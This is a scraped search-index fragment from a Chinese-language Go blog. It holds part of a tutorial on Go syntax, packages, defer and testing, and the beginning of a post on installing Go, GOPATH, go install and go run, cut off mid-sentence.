\u0026amp;\u0026amp;\n1 ||\n一元操作符包括：\u0026amp; ! * + – ^(外加用于通信的\u0026lt;-)\n一元操作符^是求补码/反码操作。\nGo vs. C表达式 可以让C程序员惊喜的是：\n更少的优先级层次(应该容易)。\n^替代了~\n++和–不再是表达式操作符(x++是一个语句，不是表达式；*p++是(*p)++，而不是*(p++))\n\u0026amp;^是新操作符，在常量表达式中很有用\n\u0026laquo;和\u0026raquo;等需要一个无符号的移位计数。\n无惊喜的是：\n赋值操作与所期望的一样：+= \u0026laquo;= \u0026amp;^=等\n表达式总体看起来相似(下标、函数调用等)\n例子 +x\n23 + 3*x[i]\nx \u0026lt;= f()\n^a \u0026raquo; b\nf() || g()\nx == y + 1 \u0026amp;\u0026amp; \u0026lt;-ch \u0026gt; 0\nx \u0026amp;^ 7 // x with the low 3 bits cleared\nfmt.Printf(\u0026quot;%5.2g\\n\u0026quot;, 2*math.Sin(PI/8))\n7.234/x + 2.3i\n\u0026ldquo;hello, \u0026quot; + \u0026ldquo;world\u0026rdquo; // concatenation\n// no C-like \u0026ldquo;a\u0026rdquo; \u0026ldquo;b\u0026rdquo;\n数值转型 将一个数值从一个类型转换为另一个类型称为一次转型，其语法形式有点类似函数调用：\nuint8(intVar) //截断到相应的大小\nint(float64Var) //片段截断\nfloat64(intVar) //转为float64\n一些涉及string类型的转型：\nstring(0×1234) // == \u0026ldquo;\\u1234\u0026rdquo;\nstring(sliceOfBytes) // bytes -\u0026gt; bytes\nstring(sliceOfInts) // ints -\u0026gt; Unicode/UTF-8\n[]byte(\u0026ldquo;abc\u0026rdquo;) // bytes -\u0026gt; bytes\n[]int(\u0026ldquo;日本語\u0026rdquo;) // Unicode/UTF-8 -\u0026gt; ints\n切片(slice)与数组相关，稍后会有更多相关内容。\n常量 数值常量是\u0026quot;理想数\u0026rdquo;：没有大小或标志，因此没有U、L或UL作结尾。\n077 // 八进制\n0xFEEDBEEEEEEEEEEEEEEEEEEEEF //十六进制\n1 \u0026laquo; 100\n下面是整数和浮点数值，字面值的语法决定其类型：\n1.234e5 // 浮点\n1e2 // 浮点\n3.2i // 浮点虚数\n100 // 整数\n常量表达式 浮点和整型常量可以任意组合，最终表达式的类型由常量的类型决定。操作自身也取决于类型。\n2*3.14 // 浮点: 6.28\n3./2 // 浮点：1.5\n3/2 // 整型：1\n3+2i // 复数：3.0 + 2.0i\n// 高精度\nconst Ln2 = 0.69314718055994530941723212145817656807\nconst Log2E = 1/Ln2\n数值的表示范围足够大(目前最大用1024位表示)。\n理想数的结果 Go语言允许无需显式转型的情况下使用常量，前提是常量值可以被其类型表示(没有必要进行转型；其值表示起来没问题)：\nvar million int = 1e6 //float语法在这里可以使用\nmath.Sin(1)\n常量必须可以被其类新表示。例如：^0的值为-1，不在0-255的范围内。\nuint8(^0) //错误：-1无法用uint8类型表示\n^uint8(0) //OK\nuint8(350) //错误：350无法用uint8类型表示\nuint8(35.0) //OK: 35\nuint8(3.5) //错误：3.5无法用uint8类型表示\n声明 声明以一个关键字开头(var, const，type和func)，并且与C中的声明次序相反：\nvar i int\nconst PI = 22./7.\ntype Point struct { x, y int }\nfunc sum(a, b int) int { return a + b }\n为何要以相反次序声明呢？早期的一个例子：\nvar p, q *int\np和q的类型都是*int。并且函数读起来更佳，并且与其他声明一致。还有一个原因，马上道来。\nVar 变量声明以var开头。\n它们可以有一个类型或一个初始化表达式；至少应有一个或二者都有。初始化表达式应该与变量匹配(还有类型！)。\nvar i int\nvar j = 365.245\nvar k int = 0\nvar l, m uint64 = 1, 2\nvar nanoseconds int64 = 1e9 // float64 constant!\nvar inter, floater, stringer = 1, 2.0, \u0026ldquo;hi\u0026rdquo;\n分派var 总是输入var让人生厌。我们可以通过括号让多个变量声明成为一组：\nvar (\ni int\nj = 356.245\nk int = 0\nl, m uint64 = 1, 2\nnanoseconds int64 = 1e9\ninter, floater, stringer = 1, 2.0, \u0026ldquo;hi\u0026rdquo;\n)\n这种形式适用于const,type, var，但不能用于func。\n=:\u0026ldquo;短声明\u0026rdquo; 在函数内(只有在函数内这一种情况下)，下面形式的声明：\nvar v = value\n可以被缩短成：\nv := value\n(这就是另外一个名字、类型倒序的原因)\n类型就是值的类型(对于理想数，相应的类型是int或float64或complex128)\na, b, c, d, e := 1, 2.0, \u0026ldquo;three\u0026rdquo;, FOUR, 5e0i\n这种形式的声明使用很频繁，并且在诸如for循环初始化表达式中也可以使用。\nConst 常量声明以const开头。\n它们必须有一个常量表达式，可在编译期间求值，作为初始化表达式，可以拥有一个可选的类型修饰符。\nconst Pi = 22./7.\nconst AccuratePi float64 = 355./113\nconst beef, two, parsnip = \u0026ldquo;meat\u0026rdquo;, 2, \u0026ldquo;veg\u0026rdquo;\nconst (\nMonday, Tuesday, Wednesday = 1, 2, 3\nThursday, Friday, Saturday = 4, 5, 6\n)\nIota 常量声明可以使用计数器：iota，每个const块中的iota都从0开始计数，在每个隐式的分号(行尾)自增。\nconst (\nMonday = iota // 0\nTuesday = iota // 1\n)\n速记：重复上一个类型和表达式。\nconst (\nloc0, bit0 uint32 = iota, 1\u0026laquo;iota //0，1\nloc1, bit1 //1，2\nloc2, bit2 //2，4\n)\nType 类型声明以type开头。\n我们后续会学习更多类型，不过先这里举几个例子：\ntype Point struct {\nx, y, z float64\nname\nstring\n}\ntype Operator func(a, b int) int\ntype SliceOfIntPointers []*int\n我们稍后会回到函数。\nNew 内置函数new用于分配内存。其语法类似一个函数调用，以类型作为参数，与C++中的new类似。返回一个指向已分配对象的指针。\nvar p *Point = new(Point)\nv := new(int) // v的类型为*int\n稍后我们将看到如何构建切片(slice)\nGo语言中没有用于内存释放的delete或free。Go具备垃圾回收功能。\n赋值 赋值是容易和熟悉的：\na = b\n但Go还支持多项赋值：\nx, y, z = f1(), f2(), f3()\na, b = b, a //交互a,b的值\n函数支持多个返回值(稍后有更多细节)：\nnbytes, error := Write(buf)\n控制结构 与C类似，但很多地方有不同。\nGo支持if、for和switch。\n正如之前说的，无需小括号，但大括号是必要的。\n如果将它们看为一组，它们的用法很规律。例如，if、for和switch都支持初始化语句。\n控制结构的形式 后续会有细节，但总体上：\nif和switch语句以1元素和2元素形式呈现，后面详细讲解。\nfor循环具有1元素和3元素的形式：\n1元素形式等价于C语言中的while：\nfor a {}\n3元素形式等价于C语言中的for：\nfor a;b;c {}\n在所有这些形式里，任何元素都可以是空。\nif 基本形式是大家所熟知的，但已经没有了\u0026quot;else悬挂\u0026quot;问题了：\nif x \u0026lt; 5 { less() }\nif x \u0026lt; 5 { less() } else if x == 5 { equal() }\n支持初始化语句；需要分号。\nif v := f(); v \u0026lt; 10 {\nfmt.Printf(\u0026quot;%d less than 10\\n\u0026quot;, v)\n} else {\nfmt.Printf(\u0026quot;%d not less than 10\\n\u0026quot;, v)\n}\n与多元函数一起使用更有益处：\nif n, err = fd.Write(buf); err != nil { … }\n省略条件意为true，在这里没有什么用。但在for，switch语句中尤其有用。\nfor 基本形式是大家所熟知的：\nfor i := 0; i \u0026lt; 10; i++ { … }\n省略条件意为true:\nfor ;; { fmt.Printf(\u0026ldquo;looping forever\u0026rdquo;) }\n而且你还可以省略分号：\nfor { fmt.Printf(\u0026ldquo;Mine! \u0026ldquo;) }\n不要忘记多项赋值：\nfor i,j := 0,N; i \u0026lt; j; i,j = i+1,j-1 {…}\n(Go中没有像C中那样的逗号操作符)\nswitch细节 switch与C中的switch有些类似。\n不过，有一些语法和语义的重要不同之处：\n- 表达式不必一定是常量，甚至可以不必是int。\n- 没有自动的fall through\n- 但作为替代，语法上，最后的语句可以为fallthrough\n- 多case可以用逗号分隔\nswitch count%7 {\ncase 4,5,6: error()\ncase 3: a *= v; fallthrough\ncase 2: a *= v; fallthrough\ncase 1: a *= v; fallthrough\ncase 0: return a*v\n}\nSwitch Go中的switch要远比C中的强大。常见的形式：\nswitch a {\ncase 0: fmt.Printf(\u0026ldquo;0\u0026rdquo;)\ndefault: fmt.Printf(\u0026ldquo;non-zero\u0026rdquo;)\n}\nswitch表达式可以是任意类型，如果为空，则表示true。结果类似一个if-else链：\na, b := x[i], y[j]\nswitch {\ncase a \u0026lt; b: return -1\ncase a == b: return 0\ncase a \u0026gt; b: return 1\n}\n或\nswitch a, b := x[i], y[j]; { … }\nBreak，continue等 break和continue语句的工作方式与C中的类似。\n它们可以指定一个label并影响外层结构：\nLoop: for i := 0; i \u0026lt; 10; i++ {\nswitch f(i) {\ncase 0, 1, 2: break Loop\n}\ng(i)\n}\n是的，那是一个goto。\n函数 函数以func关键字开头。\n如果有返回类型，返回类型放在参数的后面。return的含义和你期望的一致。\nfunc square(f float64) float64 { return f*f }\n函数支持返回多个值。这样，返回类型就是一个括号包围的列表。\nfunc MySqrt(f float64) (float64, bool) {\nif f \u0026gt;= 0 { return math.Sqrt(f), true }\nreturn 0, false\n}\n空标识符 如果你只关心MySqrt函数返回的第一个值？你仍然需要将第二个值放在一个地方。\n解决方法：使用空标识符_(下划线)。它是预声明的，可以被赋予任何无用的值。\n// Don\u0026rsquo;t care about boolean from MySqrt.\nval, _ = MySqrt(foo())\n在空标识符其他的适用场合中，我们仍然会展示它。\n带结果变量(result variable)的函数 如果你给结果参数命名了，你可以将它当作实际变量使用。\nfunc MySqrt(f float64) (v float64, ok bool) {\nif f \u0026gt;= 0 { v,ok = math.Sqrt(f), true }\nelse { v,ok = 0,false }\nreturn v,ok\n}\n结果变量被初始化为\u0026quot;0\u0026rdquo;(0，0.0,false等。根据其类型；稍后有更多有关内容)\nfunc MySqrt(f float64) (v float64, ok bool) {\nif f \u0026gt;= 0 { v,ok = math.Sqrt(f), true }\nreturn v,ok\n}\n空返回 最后，一个没有返回表达式的return将返回结果变量的当前值。下面是另外两个MySqrt的版本：\nfunc MySqrt(f float64) (v float64, ok bool) {\nif f \u0026gt;= 0 { v,ok = math.Sqrt(f), true }\nreturn // must be explicit\n}\nfunc MySqrt(f float64) (v float64, ok bool) {\nif f \u0026lt; 0 { return } // error case\nreturn math.Sqrt(f),true\n}\n0是什么 Go中的内存都是被初始化了的。所有变量在执行之前的声明时被初始化。如果没有显式的初始化表达式，我们将使用对应类型的\u0026quot;0值\u0026rdquo;。下面的循环：\nfor i := 0; i \u0026lt; 5; i++ {\nvar v int\nfmt.Printf(\u0026quot;%d \u0026ldquo;, v)\nv = 5\n}\n将打印0 0 0 0 0。\n0值取决于类型：数值是0；布尔是false；空字符串是\u0026rdquo;\u0026quot;；指针，map、切片、channel是nil；结构体是0等。\nDefer defer语句负责在其所在的函数返回时执行一个函数(或方法)。其参数在到达defer语句那个时刻被求值；其函数在返回时被执行。\nfunc data(fileName string) string {\nf := os.Open(fileName)\ndefer f.Close()\ncontents := io.ReadAll(f)\nreturn contents\n}\n在关闭文件描述符、解互斥锁等场合十分有用。\n每Defer执行一个函数 Go按按后入先出(LIFO)次序执行一组defer函数。\nfunc f() {\nfor i := 0; i \u0026lt; 5; i++ {\ndefer fmt.Printf(\u0026quot;%d \u0026ldquo;, i)\n}\n}\n上面代码将输出4 3 2 1 0。你可以在最后关闭所有文件描述符以及解锁所有互斥锁。\n用defer跟踪代码 func trace(s string) { fmt.Println(\u0026ldquo;entering:\u0026rdquo;, s) }\nfunc untrace(s string) { fmt.Println(\u0026ldquo;leaving:\u0026rdquo;, s) }\nfunc a() {\n\u0015 trace(\u0026ldquo;a\u0026rdquo;)\ndefer untrace(\u0026ldquo;a\u0026rdquo;)\nfmt.Println(\u0026ldquo;in a\u0026rdquo;)\n}\nfunc b() {\ntrace(\u0026ldquo;b\u0026rdquo;)\ndefer untrace(\u0026ldquo;b\u0026rdquo;)\nfmt.Println(\u0026ldquo;in b\u0026rdquo;)\na()\n}\nfunc main() { b() }\n不过我们可以实现的更灵巧一些。\n参数当即求值，defer稍后执行 func trace(s string) string {\n\u0015\nfmt.Println(\u0026ldquo;entering:\u0026rdquo;, s)\nreturn s\n}\nfunc un(s string) {\nfmt.Println(\u0026ldquo;leaving:\u0026rdquo;, s)\n}\nfunc a() {\ndefer un(trace(\u0026ldquo;a\u0026rdquo;))\nfmt.Println(\u0026ldquo;in a\u0026rdquo;)\n}\nfunc b() {\ndefer un(trace(\u0026ldquo;b\u0026rdquo;))\nfmt.Println(\u0026ldquo;in b\u0026rdquo;)\na()\n}\nfunc main() { b() }\n函数字面值 和在C中一样，函数不能在函数内部声明。但函数字面值却可以被赋值给变量。\nfunc f() {\nfor i := 0; i \u0026lt; 10; i++ {\ng := func(i int) { fmt.Printf(\u0026quot;%d\u0026rdquo;,i) }\ng(i)\n}\n}\n函数字面值是闭包(closure) 函数字面值实际上是闭包。\nfunc adder() (func(int) int) {\nvar x int\nreturn func(delta int) int {\nx += delta\nreturn x\n}\n}\nf := adder()\nfmt.Print(f(1))\nfmt.Print(f(20))\nfmt.Print(f(300))\n输出1 21 321 – f中的x累加。\n程序构建 包(package) 一个程序以一个包的形式构建，这个包还可以使用其他包提供的一些设施。\n一个Go程序的创建是通过链接一组包。\n一个包可以由多个源码文件组成。\n导入包中的名字可以通过packagename.Itemname访问。\n源码文件结构 每个源码文件包括：\n- 一个package字句(文件归属于哪个包)；其名字将作为导入包时的默认名字。\npackage fmt\n- 一个可选的import声明集\nimport \u0026ldquo;fmt\u0026rdquo; //使用默认名字\nimport myFmt \u0026ldquo;fmt\u0026rdquo; //使用名字myFmt\n- 0个或多个全局或“包级别”声明。\n单一文件包 package main // 这个文件是包main的一部分\nimport \u0026ldquo;fmt\u0026rdquo; // 这个文件使用了包\u0026quot;fmt\u0026quot;\nconst hello = \u0026ldquo;Hello, 世界\\n\u0026rdquo;\nfunc main() {\nfmt.Print(hello)\n}\nmain和main.main 每个Go程序包含一个名为main的包以及其main函数，在初始化后，程序从main开始执行。类似C,C++中的main()函数。\nmain.main函数没有参数，没有返回值。当main.main返回时，程序立即退出并返回成功。\nos包 os包提供Exit函数以及访问文件I/O以及命令行参数的函数等。\n// A version of echo(1)\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;os\u0026rdquo;\n)\nfunc main() {\nif len(os.Args) \u0026lt; 2 { // length of argument slice\nos.Exit(1)\n}\nfor i := 1; i \u0026lt; len(os.Args); i++ {\nfmt.Printf(\u0026ldquo;arg %d: %s\\n\u0026rdquo;, i, os.Args[i])\n}\n} // falling off end == os.Exit(0)\n全局作用域与包作用域 在一个包中，所有全局变量、函数、类型以及常量对这个包的所有代码可见。\n对于导入该包的包而言，只有以大写字母开头的名字是可见的：全局变量、函数、类型、常量以及方法和结构体中全局类型以及变量的字段。\nconst hello = \u0026ldquo;you smell\u0026rdquo; // 包内可见\nconst Hello = \u0026ldquo;you smell nice\u0026rdquo; //全局可见\nconst _Bye = \u0026ldquo;stinko!\u0026rdquo; // _不是大写字母\n这与C/C++非常不同：没有extern、static、private以及public。\n初始化 有两种方法可以在main.main执行前初始化全局变量：\n带有初始化语句的全局声明 在init函数内部，每个源文件中都可能有init函数。 包依赖可以保证正确的执行顺序。\n初始化总是单线程的。\n初始化例子 package transcendental\nimport \u0026ldquo;math\u0026rdquo;\nvar Pi float64\nfunc init() {\nPi = 4*math.Atan(1) // init function computes Pi\n}\n====\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;transcendental\u0026rdquo;\n)\nvar twoPi = 2*transcendental.Pi // decl computes twoPi\nfunc main() {\nfmt.Printf(\u0026ldquo;2*Pi = %g\\n\u0026rdquo;, twoPi)\n}\n====\n输出: 2*Pi = 6.283185307179586\n包与程序构建 要构建一个程序，包以及其中的文件必须按正确的次序进行编译。包依赖关系决定了按何种次序构建包。\n在一个包内部，源文件必须一起被编译。包作为一个单元被编译，按惯例，每个目录包含一个包，忽略测试，\ncd mypackage\n6g *.go\n通常，我们使用make; Go语言专用工具即将发布（译注：Go 1中可直接使用go build、go install等高级命令，可不再直接用6g、6l等命令了。）\n构建fmt包 % pwd\n/Users/r/go/src/pkg/fmt\n% ls\nMakefile fmt_test.go format.go print.go # …\n% make # hand-written but trivial\n% ls\nMakefile _go_.6 _obj fmt_test.go format.go print.go # …\n% make clean; make\n…\n目标文件被放在_obj子目录中。\n编写Makefiles时通常使用Make.pkg提供的帮助。看源码。\n测试 要测试一个包，可在这个包内编写一组Go源文件；给这些文件命名为*_test.go。\n在这些文件内，名字以Test[^a-z]开头的全局函数会被测试工具gotest自动执行，这些函数应使用下面函数签名：\nfunc TestXxx(t *testing.T)\ntesting包提供日志、benchmarking、错误报告等支持。\n一个测试例子 摘自fmt_test.go中的一段有趣代码：\nimport (\n\u0026ldquo;testing\u0026rdquo;\n)\nfunc TestFlagParser(t *testing.T) {\nvar flagprinter flagPrinter\nfor i := 0; i \u0026lt; len(flagtests); i++ {\ntt := flagtests[i]\ns := Sprintf(tt.in, \u0026amp;flagprinter)\nif s != tt.out {\n// method call coming up – obvious syntax.\nt.Errorf(\u0026ldquo;Sprintf(%q, \u0026amp;flagprinter) =\u0026gt; %q,\u0026quot;+\u0026rdquo; want %q\u0026quot;, tt.in, s, tt.out)\n}\n}\n}\ngotest（译注：在go 1中gotest工具用go test命令替代） % ls\nMakefile fmt.a fmt_test.go format.go print.go # …\n% gotest # by default, does all *_test.go\nPASS\nwally=% gotest -v fmt_test.go\n=== RUN fmt.TestFlagParser\n— PASS: fmt.TestFlagParser (0.00 seconds)\n=== RUN fmt.TestArrayPrinter\n— PASS: fmt.TestArrayPrinter (0.00 seconds)\n=== RUN fmt.TestFmtInterface\n— PASS: fmt.TestFmtInterface (0.00 seconds)\n=== RUN fmt.TestStructPrinter\n— PASS: fmt.TestStructPrinter (0.00 seconds)\n=== RUN fmt.TestSprintf\n— PASS: fmt.TestSprintf (0.00 seconds) # plus lots more\nPASS\n%\n一个benchmark的测试例子 Benchmark的函数签名如下：\nfunc BenchmarkXxxx(b *testing.B)\n并被循环执行b.N次；其余的由testing包完成。\n下面是一个来自fmt_test.go中的benchmark例子：\npackage fmt // package is fmt, not main\nimport (\n\u0026ldquo;testing\u0026rdquo;\n)\nfunc BenchmarkSprintfInt(b *testing.B) {\nfor i := 0; i \u0026lt; b.N; i++ {\nSprintf(\u0026quot;%d\u0026quot;, 5)\n}\n}\nBenchmarking: gotest % gotest -bench=\u0026quot;.\u0026quot; # regular expression identifies which\nfmt_test.BenchmarkSprintfEmpty\u0015 5000000\u0015\n310 ns/op\nfmt_test.BenchmarkSprintfString\u0015 2000000\u0015\n774 ns/op\nfmt_test.BenchmarkSprintfInt\u0015\n5000000\u0015\n663 ns/op\nfmt_test.BenchmarkSprintfIntInt\u0015 2000000\u0015\n969 ns/op\n…\n%\n库 库就是包。\n目前的库规模是适中的，但还在增长。\n一些例子：\n包 目的 例子\nfmt 格式化I/O Printf、Scanf\nos OS接口 Open, Read, Write\nstrconv numbers\u0026lt;-\u0026gt; strings Atoi, Atof, Itoa\nio 通用I/O Copy, Pipe\nflag flags: –help等 Bool, String\nlog 事件日志 Logger, Printf\nregexp 正则表达式 Compile, Match\ntemplate html等 Parse, Execute\nbytes 字节数组 Compare, Buffer\n更多关于fmt fmt包包含一些熟悉的名字：\nPrintf – 打印到标准输出\nSprintf – 返回一个字符串\nFprintf – 写到os.Stderr等\n还有\nPrint, Sprint, Fprint – 无格式no format\nPrintln, Sprintln, Fprintln – 无格式，但中间加入空格，结尾加入\\n\nfmt.Printf(\u0026quot;%d %d %g\\n\u0026quot;, 1, 2, 3.5)\nfmt.Print(1, \u0026quot; \u0026ldquo;, 2, \u0026quot; \u0026ldquo;, 3.5, \u0026ldquo;\\n\u0026rdquo;)\nfmt.Println(1, 2, 3.5)\n每个都输出相同的结果：\u0026ldquo;1 2 3.5\\n\u0026rdquo;\n库文档 源码中包含注释。\n命令行或web工具可以将注释提取出来。\n链接：http://golang.org/pkg/\n命令：\n% godoc fmt\n% godoc fmt Printf\n","permalink":"https://tonybai.com/2012/08/23/the-go-programming-language-tutorial-part1/","summary":"\u003cp\u003eint          uint\u003cbr\u003e\nint8      uint8 = byte\u003cbr\u003e\nint16       uint16\u003cbr\u003e\nint32       uint32         float32      complex64\u003cbr\u003e\nint64       uint64         float64      complex128\u003c/p\u003e\n\u003cp\u003e还有uintptr，一个大小足够存储一个指针的数值。\u003c/p\u003e\n\u003cp\u003e这些都是互不相同的类型；int不等于是int32，即便是在一个32位的机器上。\u003c/p\u003e","title":"Go程序设计语言(一)"},{"content":"Go is expressive, concise, clean, and efficient. Its concurrency mechanisms make it easy to write programs that get the most out of multicore and networked machines, while its novel type system enables flexible and modular program construction. Go compiles quickly to machine code yet has the convenience of garbage collection and the power of run-time reflection. It\u0026rsquo;s a fast, statically typed, compiled language that feels like a dynamically typed, interpreted language.\n– 摘自Go语言官方站点\n对于一门编程语言最深刻的喜欢莫过于对这门编程语言的设计理念的认同了，Go语言是继C语言之后又一门让我有如此感觉的编程语言。\n初听到这门语言的存在时，我皱了皱眉：怎么起了这么一个名字！绝大多数编程语言都以名词或人名命名(如C、Java、Python、Ruby、 Haskell、Ada等)，而这门语言却用了一个日常生活中使用极为频繁的动词Go作为名字，这似乎有些太大众化了。不知为何，这个名字总是让 我联想到以前中国农村给小孩子常起的几个名字：二狗、牛娃等^_^。况且之前已经有很多IT产品也以Go作为名字(例 如，Thoughtworks公司出品的敏捷管理工具也叫Go)。\n不过随着对这门语言的了解的深入，名字已不再是问题了。Go语言对我这个C程序员产生了强大的吸引力，原因如下：\n* Go保持了与C语言一脉相承的理念：短小精悍、致力于成为系统编程语言、简洁而熟悉的C语言家族语法、静态编译型语言、保留了指针、运行高效；\n* Go填平了C语言与生俱来的为数不少的\u0026quot;坑\u0026quot;；\n* Go提升了编译速度，统一了源码组织、构建规范以及编码规范，让程序员更集中精力于问题域；\n* Go改进了并发模型，在语言级别原生支持多核平台；\n* Go语言起点高，以创新的设计以及甚小的代价兼容了现有主流编程范型(例如OO等)。\n因此有人称Go为21世纪的C语言，我觉得不为过。从这篇文章开始，我将和大家一起走入Go语言的世界。\n一、安装Go\nGo语言官方站(从国内访问十分不稳定，时能时不能，原因你懂的)对Go安装有着较为详尽的说明。如果你使用的是Linux、Mac OS或Windows，那你应该可以很顺利地完成Go的安装。Go于今年上旬发布了第一个稳定版本Go 1，目前最新版本是1.0.2，可以从Google Code上的Go项目中下载。我的环境为Ubuntu 10.04 32-bit，下载go1.0.2.linux-386.tar.gz后，解压到/usr/local/go下面：\n$ ls /usr/local/go\napi/ bin/ doc/ include/ LICENSE PATENTS README src/ VERSION\nAUTHORS CONTRIBUTORS favicon.ico lib/ misc/ pkg/ robots.txt test/\n然后将/usr/local/go/bin添加到你的PATH环境变量中，你就可以在任意目录下执行go程序了：\n$ go version\ngo version go1.0.2\n如果你得到上面的输出结果，可以断定你的Go安装成功了！\n二、第一个Go程序 – Hello, Go!\n我们建立一个用于编写Go程序的工作目录go-examples，其绝对路径为/home/tonybai/go-examples。好了，开始 编写我们的第一个Go程序。\n我们在go-examples下创建一个文件hellogo.go，其内容如下：\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n)\nfunc main() {\nfmt.Printf(\u0026ldquo;Hello, Go!\\n\u0026rdquo;)\n}\n下面我们来编译该源文件并执行生成的可执行文件：\n$ go build hellogo.go\n$ ls\nhellogo* hellogo.go\n$ hellogo\nHello, Go!\n通过go build加上要编译的Go源文件名，我们即可得到一个可执行文件，默认情况下这个文件的名字为源文件名字去掉.go后缀。当然我们也 可以通过-o选项来指定其他名字：\n$ go build -o myfirstgo hellogo.go\n$ ls\nmyfirstgo* hellogo.go\n如果我们在go-examples目录下直接执行go build命令，后面不带文件名，我们将得到一个与目录名同名的可执行文件：\n$ go build\n$ ls\ngo-examples* hellogo.go\n三、程序入口点(entry point)和包(package)\nGo保持了与C家族语言一致的风格：即目标为可执行程序的Go源码中务必要有一个名为main的函数，该函数即为可执行程序的入口点。除此之外 Go还增加了一个约束：作为入口点的main函数必须在名为main的package中。正如上面hellogo.go源文件中的那样，在源码第 一行就声明了该文件所归属的package为main。\nGo去除了头文件的概念，而借鉴了很多主流语言都采用的package的源码组织方式。package是个逻辑概念，与文件没有一一对应的关系。 如果多个源文件都在开头声明自己属于某个名为foo的包，那这些源文件中的代码在逻辑上都归属于包foo(这些文件最好在同一个目录下，至少目前 的Go版本还无法支持不同目录下的源文件归属于同一个包)。\n我们看到hellogo.go中import一个名为fmt的包，并利用该包内的Printf函数输出\u0026quot;Hello, Go!\u0026quot;。直觉告诉我们fmt包似乎是一个标准库中的包。没错，fmt包提供了格式化文本输出以及读取格式化输入的相关函数，与C中的printf或 scanf等类似。我们通过import语句将fmt包导入我们的源文件后就可以使用该fmt包导出(export)的功能函数了(比如 Printf)。\n在C中，我们通过static来标识局部函数还是全局函数。而在Go中，包中的函数是否可以被外部调用，要看该函数名的首母是否为大写。这是一种 Go语言固化的约定：首母大写的函数被认为是导出的函数，可以被包之外的代码调用；而小写字母开头的函数则仅能在包内使用。在例子中你也看到了 fmt包的Printf函数其首母就是大写的。\n四、GOPATH\n我们把上面的hellogo.go稍作改造，拆分成两个文件：main.go和hello.go。\n/* hello.go */\npackage hello\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc Hello(who string) {\nfmt.Printf(\u0026ldquo;Hello, %s!\\n\u0026rdquo;, who)\n}\n/* main.go */\npackage main\nimport (\n\u0026ldquo;hello\u0026rdquo;\n)\nfunc main() {\nhello.Hello(\u0026ldquo;Go!\u0026rdquo;)\n}\n用go build编译main.go，结果如下：\n$ go build main.go\nmain.go:4:2: import \u0026ldquo;hello\u0026rdquo;: cannot find package\n编译器居然提示无法找到hello这个package，而hello.go中明明定义了package hello了。这是怎么回事呢？原来go compiler搜索package的方式与我们常规理解的有不同，Go在这方面也有一套约定，这里面涉及到一个重要的环境变量：GOPATH。我们可以使用go help gopath来查看一下有关gopath的manual。\nGo compiler的package搜索顺序是这样的，以搜索hello这个package为例：\n* 首先，Go compiler会在GO安装目录(GOROOT，这里是/usr/local/go)下查找是否有src/pkg/hello相关包源码；如果没有则继续；\n* 如果export GOPATH=PATH1:PAHT2，则Go compiler会依次查找是否存在PATH1/src/hello、PATH2/src/hello；配置在GOPATH中的PATH1和PATH2被称作workplace；\n* 如果在上述几个位置均无法找到hello这个package，则提示出错。\n在本例子中，我们尚未设置过GOPATH环境变量，也没有建立类似PATH1/src/hello这样的路径，因此Go compiler显然无法找到hello这个package了。我们来设置一下GOPATH变量并建立相关目录：\n$ export GOPATH=/home/tonybai/go-examples\n$ mkdir src/hello\n$ mv hello.go src/hello\n$ go build main.go\n$ ls\nmain* main.go src/\n$ main\nHello, Go!\n五、Go install\n我们将main.go移到src/main中，这样这个demo project显得更加合理，所有源码均在src下：\n$cd src\n$ ls\nhello/ main/\nGo提供了install命令，与build命令相比，install命令在编译源码后还会将可执行文件或库文件安装到约定的目录下。我们以main目录为例：\n$ cd main\n$ go install\ninstall命令执行后，我们发现main目录下没有任何变化，原先build时产生的main可执行文件也不见了踪影。别急，前面说过Go install也有一套自己的约定：\n* go install(在src/DIR下)编译出的可执行文件以其所在目录名(DIR)命名\n* go install将可执行文件安装到与src同级别的bin目录下，bin目录由go install自动创建\n* go install将可执行文件依赖的各种package编译后，放在与src同级别的pkg目录下\n现在我们来看看bin目录：\n$ ls /home/tonybai/go-examples\nbin/ src/ pkg/\n$ ls bin\nmain*\n的确出现一个bin目录，并且刚刚编译的程序main在bin下面。\nhello.go编译后并非可执行程序，在编译main的同时，由于main依赖hello package，因此hello也被关联编译了。这与单独在hello目录下执行install的结果是一样的，我们试试：\n$ cd hello\n$ go install\n$ ls /home/tonybai/go-examples\nbin/ pkg/ src/\n在我们的workspace(go-examples目录)下出现了一个pkg目录，pkg目录下是一个名为linux_386的子目录，其下面有一个文 件：hello.a。这就是我们install的结果。hello.go被编译为hello.a并安装到pkg/linux_386目录下了。\n.a这个后缀名让我们想起了静态共享库，但这里的.a却是Go独有的文件格式，与传统的静态共享库并不兼容。但Go语言的设计者使用这个后缀名似乎是希望 这个.a文件也承担起Go语言中\u0026quot;静态共享库\u0026quot;的角色。我们不妨来试试，看看这个hello.a是否可以被Go compiler当作\u0026quot;静态共享库\u0026quot;来对待。我们移除src中的hello目录，然后在main目录下执行go build：\n$ go build\nmain.go:4:2: import \u0026ldquo;hello\u0026rdquo;: cannot find package\nGo编译器提示无法找到hello这个包，可见目前版本的Go编译器似乎不理pkg下的.a文件。http://code.google.com/p/go/issues/detail?id=2775 这个issue也印证了这一点，不过后续Go版本很可能会支持链接.a文件。毕竟我们在使用第三方package的时候，很可能无法得到其源码，并且在每个项目中都保存一份第三方包的源码也十分不利于项目源码的后期维护。\n六、像脚本一样运行Go源码\nGo具有很高的编译效率，这得益于其设计者对该目标的重视以及设计过程中细节方面的把控，当然这不是本文要关注的话题。正是由于go具有极速的编译，我们才可以像使用运行脚本语言那样使用它。\n目前Go提供了run命令来直接运行源文件。比如：\n$ go run main.go\nHello, Go!\ngo run实际上是一个将编译源码和运行编译后的二进制程序结合在一起的命令。但目前go源文件尚不支持作成Shebang Script，因为Go compiler尚不识别#!符号，下面的源码文件运行起来会出错：\n#! /usr/local/go/bin/go run\npackage main\nimport (\n\u0026ldquo;hello\u0026rdquo;\n)\nfunc main() {\nhello.Hello(\u0026ldquo;Go!\u0026rdquo;)\n}\n$ go run main.go\npackage :\nmain.go:1:1: illegal character U+0023 \u0026lsquo;#\u0026rsquo;\n不过我们可以可借助一些第三方工具来运行Shebang Go scripts，比如gorun。\n七、测试Go程序\n前面说过Go起点较高，因此其自身就提供了一个轻量级单元测试框架包以及运行测试集的命令。\n我们用一个例子来说明如何编写包的测试代码以及如何运行这个测试。我们在go-examples/src下建立另外一个目录mymath，mymath目录下mymath包的代码如下：\n/* mymath.go */\npackage 